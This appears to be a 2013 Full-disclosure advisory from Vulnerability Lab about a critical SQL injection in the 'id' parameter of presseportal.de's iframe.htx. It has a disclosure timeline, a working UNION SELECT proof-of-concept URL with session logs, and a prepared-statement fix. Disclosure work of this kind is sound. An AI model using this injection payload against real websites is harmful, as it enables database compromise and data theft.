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[Full-disclosure] NewsAktuell PressePortal DE - Remote SQL Injection Web Vulnerability
- To: full-disclosure@xxxxxxxxxxxxxxxxx
- Subject: [Full-disclosure] NewsAktuell PressePortal DE - Remote SQL Injection Web Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Thu, 28 Nov 2013 18:42:47 +0100
Document Title:
===============
NewsAktuell PressePortal DE - Remote SQL Injection Web Vulnerability
References (Source):
====================
http://vulnerability-lab.com/get_content.php?id=1150
Lab News Article: http://www.vulnerability-lab.com/news/get_news.php?id=115
Release Date:
=============
2013-11-28
Vulnerability Laboratory ID (VL-ID):
====================================
1150
Common Vulnerability Scoring System:
====================================
8.7
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a critical SQL Injection
web vulnerability in the official News-Aktuell - PressePortal website
web-application.
Vulnerability Disclosure Timeline:
==================================
2013-04-26: Researcher Notification & Coordination (Marco Onorati)
2013-05-01: Vendor Notification (PressePortal Team)
2013-11-28: Vendor Response/Feedback(PressePortal Team)
2013-11-28: Vendor Fix/Patch (PressePortal Developer Team)
2013-11-29: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Critical
Technical Details & Description:
================================
A remote sql injection web vulnerability has been discovered in the official
News-Aktuell - PressePortal website web-application.
The vulnerability allows remote attacker to execute own sql commands by usage
of a vulnerable application value GET method request.
The vulnerability is located in the `../services/content` module with the
vulnerable iframe.htx file. Remote attackers are able
to inject own sql commands by usage of the vulnerable `id` parameter. After the
inject the website returns with a a obviously
blank page but when you watch the source the execute is in the listed rss and
context values. The issue is a classic remote sql
injection. The security risk of the remote sql injection web vulnerability is
estimated as critical with a cvss (common vulnerability
scoring system) count of 8.7(+).
Exploitation of the sql injection web vulnerability requires no privileged web
application user account and also no user interaction.
Successful exploitation of the vulnerability results in web application
(website), account system & dbms compromise.
Vulnerable Module(s):
[+] services/content
Vulnerable File(s):
[+] iframe.htx
Vulnerable Parameter(s):
[+] id
Affected Domain(s):
[+] http://www.presseportal.de
Proof of Concept (PoC):
=======================
The remote sql injection web vulnerability can be exploited by remote attackers
without user interaction and also without privileged
web application user account. For security demonstration or to reproduce the
vulnerability follow the provided information and steps below.
PoC: Remote SQL Injection
http://www.presseportal.de/services/content/iframe.htx?id=b17ea41fbd7d93bcdda63799dd904314%27%20%20and%201=2%20%20union%20select%201,2,3,4,5,6,7,8,@@version,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,
44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60%20+--+%20&inc=true
-- PoC Session Logs [GET] ---
Status: 200[OK]
GET http://www.presseportal.de/services/content/iframe.htx
?id=b17ea41fbd7d93bcdda63799dd904314%27%20%20and%201=2%20%20union%20select%201,2,3,4,5,6,7,8,@@version,10,11,12,13,14,15,16,17,18,19,20,21,22,
23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60%20+--+%20&inc=true
Load Flags[VALIDATE_ALWAYS LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ]
Content Size[3145] Mime Type[text/html]
Request Headers:
Host[www.presseportal.de]
User-Agent[Mozilla/5.0 (Windows NT 6.1; WOW64; rv:25.0) Gecko/20100101
Firefox/25.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
DNT[1]
Cookie[PHPSESSID=emou1lkl2c3vin16agjg90eig1;
PressePortalDeDst=portal6-pp.de;
__utma=239002817.282394538.1385649109.1385649109.1385649109.1;
__utmb=239002817.4.10.1385649109; __utmc=239002817;
__utmz=239002817.1385649109.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);
__atuvc=2%7C48; POPUPCHECK=1385735515782]
Connection[keep-alive]
Cache-Control[max-age=0]
Response Headers:
Date[Thu, 28 Nov 2013 14:52:27 GMT]
Server[Apache]
X-Powered-By[PHP/5.3.27]
Expires[Thu, 19 Nov 1981 08:52:00 GMT]
Cache-Control[no-store, no-cache, must-revalidate, post-check=0, pre-check=0]
Pragma[no-cache]
Content-Type[text/html]
Content-Length[3145]
Connection[Keep-alive]
Via[1.1 AN-0003011040777600]
Refernce(s):
http://www.presseportal.de/services/content/iframe.htx?id
https://www.presseportal.de/services/content/iframe.htx?id
Picture(s):
../1.png
../2.png
../3.png
Resource(s):
../iframe.htx.htm
Solution - Fix & Patch:
=======================
The vulnerability can be patched by usage of a secure (prepared) statement in
the id GET method request of the iframe.htx file.
Security Risk:
==============
The security risk of the remote sql injection web vulnerability is estimated as
critical.
The vulnerability allows attackers to compromise the application, web-server
and service dbms.
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Marco Onorati (m.onorati@xxxxxx)
[www.vulnerability-lab.com]
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=========================
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